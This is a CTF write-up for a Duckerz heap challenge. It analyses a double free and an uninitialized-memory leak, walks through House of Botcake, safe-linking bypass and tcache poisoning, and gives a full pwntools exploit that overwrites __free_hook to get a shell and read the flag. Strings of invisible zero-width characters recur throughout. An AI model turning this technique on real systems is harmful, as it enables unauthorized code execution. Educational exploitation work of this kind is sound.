← Back to Writeups
CUSTOMMediumpwn

Chunks (Чанки)

XESXOR9/2/20267 min read
#pwn#custom#medium#double_free#__free_hook_overwrite#heap_info_leak#house_of_botcake#safe_linking_bypass#tcache_poisoning#unsorted_bin_leak#linux

Chunks (Чанки)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-10 | Status: Solved Techniques: double_free, __free_hook_overwrite, heap_info_leak, house_of_botcake, safe_linking_bypass, tcache_poisoning, unsorted_bin_leak

Summary

Task: Menu-based heap allocator with create/delete/view commands, no edit function. Solution: House of Botcake technique exploiting double-free vulnerability and uninitialized heap data leak to overwrite __free_hook with system() in glibc 2.33.

Chunks (Чанки) — Duckerz CTF

Description

Menu-based heap allocator with 4 commands: create, delete, view, exit. 24 slots (indices 0-23). Global arrays in BSS: chunks[24] (pointers), sizes[24] (sizes), freed[24] (freed flags).

  • Author: crowdyara
  • Solved by: 4 teams
  • Remote: nc tasks.duckerz.ru 30035
  • Files: chunks.zip (pwn binary + libc)

Analysis

Binary File

  • ELF 64-bit LSB PIE executable, x86-64
  • Protections: Full RELRO, Stack Canary, NX enabled, PIE enabled
  • Not stripped (symbols available: chunks, sizes, freed, create, delete, view)
  • Libc: glibc 2.33 (Ubuntu GLIBC 2.33-0ubuntu5) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Functions (reconstructed pseudocode)

create():

  • Finds the first slot where chunks[i] == NULL && freed[i] == 0
  • Requests size (1-0x800)
  • malloc(size), then reads data via readLine(ptr, size, binary=1)
  • readLine in binary mode reads byte-by-byte via read(0, &byte, 1), stops on \n or when count==size. Does NOT add null-terminator.
  • Stores pointer in chunks[slot], size in sizes[slot], freed[slot] = 0

delete():

  • Requests index (0-23)
  • Checks chunks[idx] != NULL (but does NOT check freed[idx]!)
  • free(chunks[idx])
  • Sets sizes[idx] = 0, freed[idx] = 1
  • Does NOT NULL out chunks[idx] — dangling pointer remains! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

view():

  • Requests index
  • Checks chunks[idx] != NULL && freed[idx] == 0
  • write(1, chunks[idx], sizes[idx]) — outputs sizes[idx] bytes

Vulnerabilities

1. Double Free

delete() checks chunks[idx] != NULL, but never checks freed[idx]. Since chunks[idx] is not NULLed after free, calling delete again on the same index triggers double free. In glibc 2.33 tcache has double-free detection via the key field at offset 8 in the user data of a freed chunk, but this can be bypassed if the key is overwritten between free calls. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Information Leak (uninitialized heap data)

readLine in binary mode does NOT add a null-terminator. view() uses sizes[idx] (requested size, not actually written bytes) to determine output length. If we create a chunk and send only \n (writing 0 bytes), then view it — we get the full sizes[idx] bytes of whatever was previously in that heap memory:

  • tcache fd pointers (safe-linked) → heap address leak
  • unsorted bin fd/bk pointers → libc address leak

Solution

Technique: House of Botcake

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key problem is no edit function. We can only write data to a chunk during create(), which allocates a NEW chunk. Standard tcache poisoning requires writing to a chunk while it's in the tcache free list, which is not directly possible.

House of Botcake solves this by creating overlap between a tcache entry and an unsorted bin chunk, allowing us to modify the tcache entry's fd pointer through an overlapping allocation.

glibc 2.33 Specifics

  • Safe-linking is active: fd pointers are XOR'd with (chunk_addr >> 12)
  • Tcache double-free detection via key field
  • __free_hook still exists (only removed in glibc 2.34) — our write target
  • Maximum tcache chunk size: 0x420 (request 0x410) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 1: Libc Leak via Unsorted Bin

  1. create(0, 0x500) — allocate large chunk A (larger than tcache max)
  2. create(1, 0x20) — guard chunk to prevent consolidation with top chunk
  3. delete(0) — A goes to unsorted bin; fd/bk point to main_arena+96
  4. create(2, 0x500, newline_only) — get A back from unsorted bin, write 0 bytes
  5. view(2) — leak 0x500 bytes; first 8 bytes = unsorted bin fd = main_arena+96
  6. Calculate: libc_base = leaked_fd - main_arena_offset - 96

Phase 2: House of Botcake Setup

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Allocate 9 chunks of size 0x100 (chunk size 0x110) in slots bc[0]..bc[8]
  2. Allocate another guard chunk (0x20)
  3. Free bc[0] through bc[6] — fill tcache[0x110] with seven entries
  4. delete(bc[8]) — chunk B goes to unsorted bin (tcache is full)
  5. delete(bc[7]) — chunk A consolidates forward with B in unsorted bin (combined size 0x220)
  6. create(0x100) — pop one from tcache (count 7→6)
  7. delete(bc[8]) — DOUBLE FREE B! B's key field was NOT set by tcache (B went to unsorted bin first, then was consolidated). Now B goes to tcache[0x110]. B is simultaneously in tcache AND part of the consolidated unsorted bin chunk. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 3: Overlap + Heap Leak + Poisoning

  1. create(0x210, newline_only) — allocation from unsorted bin, overlapping B's position at offset 0x110
  2. view() the overlapping chunk — at offset 0x110 we read B's safe-linked tcache fd and tcache key
  3. delete() the overlapping chunk — return it to unsorted bin
  4. Get heap leak via separate tcache chunk: alloc, free, realloc with newline, view → safe-linked fd from NULL = (chunk_addr >> 12) = XOR key
  5. Calculate: poisoned_fd = __free_hook_addr ^ xor_key
  6. create(0x210, payload) — overlapping allocation again, this time write poisoned fd at offset 0x110 and preserve tcache key at offset 0x118 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Phase 4: Arbitrary Write to __free_hook

  1. create(0x100, "/bin/sh\x00") — tcache returns B (first allocation from poisoned tcache)
  2. create(0x100, p64(system_addr)) — tcache returns __free_hook! Write system() address.

Phase 5: Getting Shell

  1. delete(idx_binsh) — calls free("/bin/sh"), which is now system("/bin/sh") → SHELL!
  2. cat /flag* → DUCKERZ{REDACTED}

Exploit

python
#!/usr/bin/env python3
from pwn import *
import struct

context.arch = "amd64"
context.log_level = "info"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST = "tasks.duckerz.ru"
PORT = 30035
BINARY = "./tasks/duckerz/chunks/release/pwn"
LIBC_PATH = "./tasks/duckerz/chunks/release/libc"

elf = ELF(BINARY)
libc = ELF(LIBC_PATH)

MALLOC_HOOK_OFF = libc.symbols["__malloc_hook"]
MAIN_ARENA_OFF = MALLOC_HOOK_OFF + 0x10
UNSORTED_BIN_OFF = MAIN_ARENA_OFF + 96
FREE_HOOK_OFF = libc.symbols["__free_hook"]
SYSTEM_OFF = libc.symbols["system"]

PROMPT = b">> "

def has_bad_byte(addr):
    return 0x0A in struct.pack("<Q", addr)

def create(p, size, data=b"", newline_only=False):
    p.sendlineafter(PROMPT, b"create")
    p.sendlineafter(b": ", str(size).encode())
    p.recvuntil(b"Data:\n")
    if newline_only:
        p.send(b"\n")
    else:
        p.send(data[:size] + b"\n")
    p.recvuntil(b"index ")
    return int(p.recvline().strip())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def delete(p, idx):
    p.sendlineafter(PROMPT, b"delete")
    p.sendlineafter(b": ", str(idx).encode())
    p.recvuntil(b"Deleted")

def view(p, idx, size):
    p.sendlineafter(PROMPT, b"view")
    p.sendlineafter(b": ", str(idx).encode())
    data = p.recv(size)
    p.recv(1)
    return data

def exploit():
    for attempt in range(50):
        p = remote(HOST, PORT)
        try:
            # Phase 1: Libc leak via unsorted bin
            idx_big = create(p, 0x500, b"A" * 16)
            idx_guard = create(p, 0x20, b"G" * 8)
            delete(p, idx_big)
            idx_leak = create(p, 0x500, newline_only=True)
            leak_data = view(p, idx_leak, 0x500)
            leaked_fd = u64(leak_data[0:8])
            libc_base = leaked_fd - UNSORTED_BIN_OFF
            if libc_base & 0xFFF != 0:
                libc_base = u64(leak_data[8:16]) - UNSORTED_BIN_OFF
            if libc_base & 0xFFF != 0:
                p.close(); continue
            free_hook_addr = libc_base + FREE_HOOK_OFF
            system_addr = libc_base + SYSTEM_OFF
            if has_bad_byte(system_addr):
                p.close(); continue
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

            # Phase 2: House of Botcake setup
            bc = []
            for i in range(9):
                bc.append(create(p, 0x100, b"C" * 8))
            create(p, 0x20, b"G" * 8)  # guard
            for i in range(7):
                delete(p, bc[i])        # fill tcache[0x110]
            delete(p, bc[8])            # B -> unsorted bin
            delete(p, bc[7])            # A consolidates with B
            create(p, 0x100, b"T" * 8)  # drain tcache (7->6)
            delete(p, bc[8])            # DOUBLE FREE B -> tcache
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

            # Phase 3: Overlap + heap leak + poison
            overlap1 = create(p, 0x210, newline_only=True)
            odata = view(p, overlap1, 0x210)
            b_stored_fd = u64(odata[0x110:0x118])
            b_tcache_key = u64(odata[0x118:0x120])
            delete(p, overlap1)

            h1 = create(p, 0x30, b"H" * 8)
            h2 = create(p, 0x30, b"H" * 8)
            delete(p, h1)
            h3 = create(p, 0x30, newline_only=True)
            xor_key = u64(view(p, h3, 0x30)[0:8])
            poisoned_fd = free_hook_addr ^ xor_key
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

            if has_bad_byte(poisoned_fd) or has_bad_byte(b_tcache_key):
                p.close(); continue

            payload = b"\x00" * 0x110 + p64(poisoned_fd) + p64(b_tcache_key)
            payload = payload.ljust(0x210, b"\x00")
            if 0x0A in payload:
                p.close(); continue

            create(p, 0x210, payload)

            # Phase 4: Arbitrary write to __free_hook
            idx_b = create(p, 0x100, b"/bin/sh\x00" + b"\x00" * 0xF8)
            create(p, 0x100, p64(system_addr) + b"\x00" * 0xF8)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

            # Phase 5: Trigger shell
            p.sendlineafter(PROMPT, b"delete")
            p.sendlineafter(b": ", str(idx_b).encode())
            sleep(1)
            p.sendline(b"cat /flag* /home/*/flag* /app/flag* 2>/dev/null")
            sleep(1)
            data = p.recv(4096, timeout=5)
            if b"DUCKERZ{" in data:
                start = data.find(b"DUCKERZ{")
                end = data.find(b"}", start)
                log.success(f"FLAG: {data[start:end+1].decode()}")
            p.close()
            return
        except Exception as e:
            try: p.close()
            except: pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Notes

  • House of Botcake — the main technique when there's double-free but no edit primitive in glibc 2.31-2.33
  • In glibc 2.33 __free_hook still exists (removed in 2.34), making it the easiest target for arbitrary write
  • Safe-linking (glibc >= 2.32) requires heap address leak to calculate XOR key: key = chunk_addr >> 12
  • Leak via uninitialized heap data (no null-termination + output by size) — typical pattern in CTF heap challenges
  • Always check if delete NULLs the pointer — missing ptr = NULL after free(ptr) is one of the most common heap bugs
  • Exploit runs in a loop (up to 50 attempts) due to ASLR and bad byte (0x0A) checks in addresses ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍